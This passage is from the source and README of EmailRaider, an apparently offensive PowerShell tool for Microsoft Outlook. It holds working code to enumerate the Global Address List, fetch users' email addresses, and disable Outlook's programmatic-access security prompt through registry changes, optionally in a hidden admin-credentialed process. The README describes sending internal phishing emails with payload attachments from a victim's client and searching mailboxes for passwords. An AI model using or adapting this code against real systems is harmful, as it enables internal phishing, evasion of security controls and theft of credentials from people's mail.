"JobTitle", Position = 1)] 817 | [string]$JobTitle, 818 | 819 | [Parameter(Mandatory = $True, ParameterSetName = "Email", Position = 2)] 820 | [string]$Email, 821 | 822 | [Parameter(Mandatory = $True, ParameterSetName = "Department", Position = 3)] 823 | [string]$Dept, 824 | 825 | [Parameter(Mandatory = $False, Position = 4)] 826 | [int]$MaxThreads = 15 827 | ) 828 | 829 | 830 | $Outlook = Get-OutlookInstance 831 | 832 | $MAPI = $Outlook.GetNamespace("MAPI") 833 | 834 | $GAL = Get-GlobalAddressList -MAPI $MAPI 835 | 836 | $UserList = @() 837 | 838 | ForEach($Entry in $GAL){ 839 | $UserList += $Entry.GetExchangeUser() 840 | } 841 | 842 | $GAL = $UserList 843 | 844 | #$User = $GAL | Where-Object {($($_.GetExchangeUser()).FirstName -eq $FirstName) -and ($($_.GetExchangeUser()).LastName -eq $LastName)} 845 | 846 | $SearchScript = { 847 | param($Regex,$Type,$User) 848 | 849 | if($Regex.Match($($User.$Type)).Success){ 850 | $User 851 | } 852 | } 853 | 854 | 855 | if($PSCmdlet.ParameterSetName -eq "Name"){ 856 | $Type = "Name" 857 | $Term = $FullName 858 | } 859 | elseif($PSCmdlet.ParameterSetName -eq "JobTitle"){ 860 | $Type = "JobTitle" 861 | $Term = $JobTitle 862 | } 863 | elseif($PSCmdlet.ParameterSetName -eq "Email"){ 864 | $Type = "PrimarySMTPAddress" 865 | $Term = $Email 866 | } 867 | else { 868 | $Type = "Department" 869 | $Term = $Dept 870 | } 871 | 872 | $Regex = [regex]"\b($Term)\b" 873 | #All of this multithreading magic is taken directly from harmj0y and his child, powerview 874 | #https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1#L5672 875 | $sessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() 876 | $sessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() 877 | 878 | #Get all the current variables for this runspace 879 | $MyVars = Get-Variable -Scope 1 880 | 881 | $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true") 882 | 883 | #Add the variables from the current runspace to the new runspace 884 | ForEach($Var in $MyVars){ 885 | if($VorbiddenVars -notcontains $Var.Name){ 886 | $sessionState.Variables.Add((New-Object -Typename System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) 887 | } 888 | } 889 | 890 | 891 | Write-Verbose "Creating RunSpace Pool" 892 | $pool = [runspacefactory]::CreateRunspacePool(1, $MaxThreads, $sessionState, $host) 893 | $pool.Open() 894 | 895 | $jobs = @() 896 | $ps = @() 897 | $wait = @() 898 | 899 | $counter = 0 900 | $AddressCount = 1 901 | 902 | Write-Verbose "The SearchString is $Term" 903 | 904 | ForEach($User in $GAL){ 905 | 906 | Write-Verbose "Searching the through ($AddressCount/$($GAL.Count) address entries...." 907 | 908 | while ($($pool.GetAvailableRunSpaces()) -le 0){ 909 | 910 | Start-Sleep -Milliseconds 500 911 | 912 | } 913 | 914 | $ps += [powershell]::create() 915 | 916 | $ps[$counter].runspacepool = $pool 917 | #Write-Verbose "Adding $SearchScript" 918 | [void]$ps[$counter].AddScript($SearchScript).AddParameter('Regex', $Regex).AddParameter('Type',$Type).AddParameter('User', $User) 919 | 920 | $jobs += $ps[$counter].BeginInvoke(); 921 | 922 | $wait += $jobs[$counter].AsyncWaitHandle 923 | 924 | $counter = $counter + 1 925 | $AddressCount = $AddressCount + 1 926 | 927 | } 928 | 929 | $waitTimeout = Get-Date 930 | 931 | while ($($jobs | ? {$_.IsCompleted -eq $false}).count -gt 0 -or $($($(Get-Date) - $waitTimeout).totalSeconds) -gt 60) { 932 | Start-Sleep -Milliseconds 500 933 | } 934 | 935 | for ($x = 0; $x -lt $counter; $x++){ 936 | 937 | try { 938 | 939 | $result = $ps[$x].EndInvoke($jobs[$x]) 940 | if($result){ 941 | $ResultsList += $result 942 | } 943 | 944 | } 945 | catch { 946 | Write-Warning "error: $_" 947 | } 948 | 949 | finally { 950 | 951 | $ps[$x].Dispose() 952 | } 953 | } 954 | 955 | $pool.Dispose() 956 | 957 | $ResultsList 958 | 959 | [System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook) | Out-Null 960 | 961 | 962 | } 963 | 964 | Function Get-SMTPAddress{ 965 | <# 966 | .SYNOPSIS 967 | Gets the PrimarySMTPAddress of a user. 968 | 969 | .DESCRIPTION 970 | This function returns the PrimarySMTPAddress of a user via the ExchangeUser object. 971 | 972 | .PARAMETER FullName 973 | First and Last name of the user separated by a space. 974 | 975 | .OUTPUTS 976 | System.String . Primary email address of the user. 977 | 978 | #> 979 | 980 | [CmdletBinding()] 981 | Param( 982 | [Parameter(Mandatory = $False, Position = 0, ValueFromPipeline = $True)] 983 | [string[]]$FullNames 984 | ) 985 | 986 | $Outlook = Get-OutlookInstance 987 | $MAPI = $Outlook.GetNamespace('MAPI') 988 | #Grab the GAL 989 | $GAL = Get-GlobalAddressList -MAPI $MAPI 990 | 991 | #If the full name is given, try to obtain the exchange user object 992 | 993 | $PrimarySMTPAddresses = @() 994 | If($FullNames){ 995 | ForEach($Name in $FullNames){ 996 | try{ 997 | $regex = [regex]"\b($Name)\b" 998 | $User = $GAL | Where-Object {$_.Name -Match $regex} 999 | } 1000 | catch { 1001 | Write-Warning "Unable to obtain exchange user object with the name: $Name" 1002 | } 1003 | $PrimarySMTPAddresses += $($User.GetExchangeuser()).PrimarySMTPAddress 1004 | } 1005 | } 1006 | else { 1007 | try { 1008 | $($($($Outlook.Session).CurrentUser).AddressEntry).GetExchangeUser().PrimarySMTPAddress 1009 | } 1010 | catch { 1011 | Throw "Unable to obtain PrimarySMTPAddress for the current user" 1012 | } 1013 | } 1014 | 1015 | [System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook) | Out-Null 1016 | 1017 | $PrimarySMTPAddresses 1018 | 1019 | } 1020 | 1021 | Function Disable-SecuritySettings{ 1022 | 1023 | <# 1024 | .SYNOPSIS 1025 | This function checks for the existence of the Outlook security registry keys ObjectModelGuard, PromptOOMSend, and AdminSecurityMode. If 1026 | the keys exist, overwrite with the appropriate values to disable to security prompt for programmatic access. 1027 | 1028 | .DESCRIPTION 1029 | This function checks for the ObjectModelGuard, PromptOOMSend, and AdminSecurityMode registry keys for Outlook security. This function must be 1030 | run in an administrative context in order to set the values for the registry keys. 1031 | 1032 | .PARAMETER Version 1033 | The version of microsoft outlook. This is pertinent to the location of the registry keys. 1034 | 1035 | .EXAMPLE 1036 | Disable-SecuritySettings -Version 15 1037 | 1038 | #> 1039 | 1040 | [CmdletBinding()] 1041 | param( 1042 | [Parameter(Mandatory = $False)] 1043 | [string]$AdminUser, 1044 | 1045 | [Parameter(Mandatory = $False)] 1046 | [string]$AdminPassword, 1047 | 1048 | [parameter(Mandatory = $True)] 1049 | [string]$Version 1050 | ) 1051 | 1052 | $count = 0 1053 | 1054 | #Check AV to see if it's up to date. 1055 | $AV = Get-WmiObject -namespace root\SecurityCenter2 -class Antivirusproduct 1056 | if($AV){ 1057 | $AVstate = $AV.productState 1058 | $statuscode = '{0:X6}' -f $AVstate 1059 | $wscupdated = $statuscode[4,5] -join '' -as [byte] 1060 | if($wscupdated -eq (00 -as [byte])) 1061 | { 1062 | Write-Verbose "AV is up to date" 1063 | $AVUpdated = $True 1064 | } 1065 | elseif($wscupdated -eq (10 -as [byte])){ 1066 | Write-Verbose "AV is not up to date" 1067 | $AVUpdated = $False 1068 | } 1069 | else{ 1070 | Write-Verbose "Unable to determine AV status" 1071 | $AVUpdated = $False 1072 | } 1073 | } 1074 | else{ 1075 | Write-Verbose "AV not installed" 1076 | $AVUpdated = $False 1077 | } 1078 | 1079 | 1080 | $LMSecurityKey = "HKLM:\SOFTWARE\Microsoft\Office\$Version\outlook\Security" 1081 | 1082 | $CUSecurityKey = "HKCU:\SOFTWARE\Policies\Microsoft\Office\$Version\outlook\security" 1083 | 1084 | $ObjectModelGuard = "ObjectModelGuard" 1085 | $PromptOOMSend = "PromptOOMSend" 1086 | $AdminSecurityMode = "AdminSecurityMode" 1087 | 1088 | $cmd = " " 1089 | 1090 | if(!(Test-Path $LMSecurityKey)){ 1091 | #if the key does not exists, create or update the appropriate reg keys values. 1092 | $cmd = "New-Item $LMSecurityKey -Force; " 1093 | $cmd += "New-ItemProperty $LMSecurityKey -Name ObjectModelGuard -Value 2 -PropertyType DWORD -Force; " 1094 | 1095 | 1096 | } 1097 | else{ 1098 | 1099 | $currentValue = (Get-ItemProperty $LMSecurityKey -Name ObjectModelGuard -ErrorAction SilentlyContinue).ObjectModelGuard 1100 | if($currentValue -and ($currentValue -ne 2)){ 1101 | 1102 | $cmd = "Set-ItemProperty $LMSecurityKey -Name ObjectModelGuard -Value 2 -Force; " 1103 | } 1104 | elseif(!($currentValue)) { 1105 | $cmd = "New-ItemProperty $LMSecurityKey -Name ObjectModelGuard -Value 2 -PropertyType DWORD -Force; " 1106 | } 1107 | 1108 | 1109 | } 1110 | if(!(Test-Path $CUSecurityKey)){ 1111 | 1112 | $cmd += "New-Item $CUSecurityKey -Force; " 1113 | $cmd += "New-ItemProperty $CUSecurityKey -Name PromptOOMSend -Value 2 -PropertyType DWORD -Force; " 1114 | $cmd += "New-ItemProperty $CUSecurityKey -Name AdminSecurityMode -Value 3 -PropertyType DWORD -Force; " 1115 | 1116 | } 1117 | else{ 1118 | $currentValue = (Get-ItemProperty $CUSecurityKey -Name PromptOOMSend -ErrorAction SilentlyContinue).PromptOOMSend 1119 | if($currentValue -and ($currentValue -ne 2)){ 1120 | 1121 | $cmd += "Set-ItemProperty $CUSecurityKey -Name PromptOOMSend -Value 2 -Force; " 1122 | 1123 | } 1124 | elseif(!($currentValue)) { 1125 | $cmd += "New-ItemProperty $CUSecurityKey -Name PromptOOMSend -Value 2 -PropertyType DWORD -Force; " 1126 | } 1127 | 1128 | $currentValue = (Get-ItemProperty $CUSecurityKey -Name AdminSecurityMode -ErrorAction SilentlyContinue).AdminSecurityMode 1129 | if($currentValue -and ($currentValue -ne 3)){ 1130 | 1131 | $cmd += "Set-ItemProperty $CUSecurityKey -Name AdminSecurityMode -Value 3 -Force" 1132 | 1133 | } 1134 | elseif(!($currentValue)) { 1135 | $cmd += "New-ItemProperty $CUSecurityKey -Name AdminSecurityMode -Value 3 -PropertyType DWORD -Force" 1136 | } 1137 | 1138 | } 1139 | 1140 | if($AdminUser -and $AdminPassword){ 1141 | 1142 | #If creds are given start a new powershell process and run the commands. Unable to use the Credential parameter with 1143 | $pw = ConvertTo-SecureString $AdminPassword -asplaintext -Force 1144 | $creds = New-Object -Typename System.Management.Automation.PSCredential -argumentlist $AdminUser,$pw 1145 | $WD = 'C:\Windows\SysWOW64\WindowsPowerShell\v1.0\' 1146 | $Arg = " -WindowStyle hidden -Command $cmd" 1147 | Start-Process "powershell.exe" -WorkingDirectory $WD -Credential $creds -ArgumentList $Arg 1148 | $count += 1 1149 | 1150 | 1151 | } 1152 | else{ 1153 | 1154 | #Start-Process powershell.exe -WindowStyle hidden -ArgumentList $cmd 1155 | if($cmd){ 1156 | try { 1157 | Invoke-Expression $cmd 1158 | } 1159 | catch { 1160 | Throw "Unable to change registry settings to disable security prompt" 1161 | } 1162 | } 1163 | $count += 1 1164 | 1165 | } 1166 | 1167 | 1168 | if($count -eq 1){ 1169 | Write-Verbose "Success" 1170 | } 1171 | elseif($count -eq 0){ 1172 | Write-Verbose "Disable-SecuritySettings Failed" 1173 | } 1174 | 1175 | } 1176 | 1177 | #Under-Construction 1178 | Function Reset-SecuritySettings{ 1179 | <# 1180 | 1181 | .SYNOPSIS 1182 | This function resets all of the registry keys to their original state 1183 | 1184 | .PARAMETER AdminUser 1185 | Administrative user 1186 | 1187 | .PARAMETER AdminPass 1188 | Password of administrative user 1189 | 1190 | .EXAMPLE 1191 | Reset-SecuritySettings 1192 | 1193 | #> 1194 | 1195 | [CmdletBinding()] 1196 | param( 1197 | [Parameter(Mandatory = $False)] 1198 | [string]$AdminUser, 1199 | 1200 | [Parameter(Mandatory = $False)] 1201 | [string]$AdminPass, 1202 | 1203 | [Parameter(Mandatory = $True)] 1204 | [string]$Version 1205 | ) 1206 | 1207 | 1208 | $LMSecurityKey = "HKLM:\SOFTWARE\Microsoft\Office\$Version\Outlook\Security" 1209 | 1210 | $CUSecurityKey = "HKCU:\SOFTWARE\Policies\Microsoft\Office\$Version\outlook\security" 1211 | 1212 | 1213 | 1214 | #if the old value exists, that means the registry key was set and not created. 1215 | if(Test-Path $LMSecurityKey){ 1216 | #If the key exists, remove it. 1217 | $cmd = "Remove-ItemProperty -Path $LMSecurityKey -Name ObjectModelGuard -Force;" 1218 | } 1219 | 1220 | if(Test-Path $CUSecurityKey){ 1221 | 1222 | $cmd += "Remove-ItemProperty -Path $CUSecurityKey -Name PromptOOMSend -Force;" 1223 | $cmd += "Remove-ItemProperty -Path $CUSecurityKey -Name AdminSecurityMode -Force" 1224 | 1225 | } 1226 | 1227 | if($AdminUser -and $AdminPass){ 1228 | 1229 | $pw = ConvertTo-SecureString $AdminPass -asplaintext -Force 1230 | $creds = New-Object -Typename System.Management.Automation.PSCredential -argumentlist $AdminUser,$pw 1231 | $WD = 'C:\Windows\SysWOW64\WindowsPowerShell\v1.0\' 1232 | $Arg = " -WindowStyle hidden -Command $cmd" 1233 | Start-Process powershell.exe -WorkingDirectory $WD -Credential $creds -ArgumentList $Arg 1234 | } 1235 | else { 1236 | try { 1237 | Invoke-Expression $cmd 1238 | } 1239 | catch { 1240 | Throw "Unable to reset registry keys" 1241 | } 1242 | } 1243 | 1244 | } 1245 | 1246 | 1247 | Function Get-OutlookInstance{ 1248 | <# 1249 | .SYNOPSIS 1250 | Get an instance of Outlook. This function must be executed in the same user context of the Outlook application. 1251 | 1252 | .EXAMPLE 1253 | Get-OutlookInstance 1254 | 1255 | Get an instance of Outlook 1256 | 1257 | #> 1258 | try { 1259 | $Outlook = New-Object -ComObject "Outlook.Application" 1260 | } 1261 | catch { 1262 | Throw "Unable to open Outlook ComObject" 1263 | } 1264 | 1265 | 1266 | $Outlook 1267 | 1268 | 1269 | } 1270 | 1271 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## EmailRaider 2 | ### Powershell MS Outlook Enumeration and Internal Phishing tool 3 | 4 | ###Synopsis 5 | 6 | MailRaider is a tool that can be used to browse/search a user's Outlook folders as well as send phishing emails internally using their Outlook client. 7 | 8 | ###Quick Usage Guide 9 | 10 | #####Disable-SecuritySettings -AdminUser "LOCALHOST\Admin" -AdminPass "IamAdmin#123" 11 | This function sets/creates the required registry keys in order to disable the Outlook programmatic access 12 | prompt. Please note that if Anti-Virus is not installed and updated on the host, changing these keys will not make a difference. 13 | 14 | #####View-Email -FolderName "Inbox" -Index 25 15 | This function selects the specified folder and then displays the EmailItem at the selected index. This is useful for viewing 16 | individual e-mails, one at a time. 17 | 18 | #####Get-SMTPAddress -FullName "William Striker" 19 | This function returns the Primary SMTP address of a user from the Global Address List based on their Full Name. 20 | 21 | #####Invoke-SendEmail -Targets "testuser@testing.com" -Subject "Wub Wub Wub" -Body "Hey! This is a test email" -Attachment .\Payload.rtf 22 | 23 | This function will send an email to the specified target/s. The TargetList parameter can be used to read in targets from a file. HTML tags maybe used in the Body parameter to embed a URL or whatever suits your needs. 24 | 25 | #####Invoke-MailSearch -DefaultFolder "Inbox" -Keyword "password" -MaxSearch 400 -MaxResults 50 -MaxThreads 15 26 | 27 | This function will conduct a multithreaded search through specified Outlook Default folder for emails that contain the keyword. 28 | 29 | 30 | TESTED On: 31 | Windows 7/Outlook 2013 32 | Windows 8/Outlook 2013 33 | 34 | http://www.xorrior.com/phishing-on-the-inside/ 35 | -------------------------------------------------------------------------------- /template.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |
4 | 5 | 6 | 7 | Hello, 8 | 9 | The body of the email will go in place of this text. If you want to include a url. 10 | You will need to do the following here 11 | 12 | Thanks 13 | 14 | --------------------------------------------------------------------------------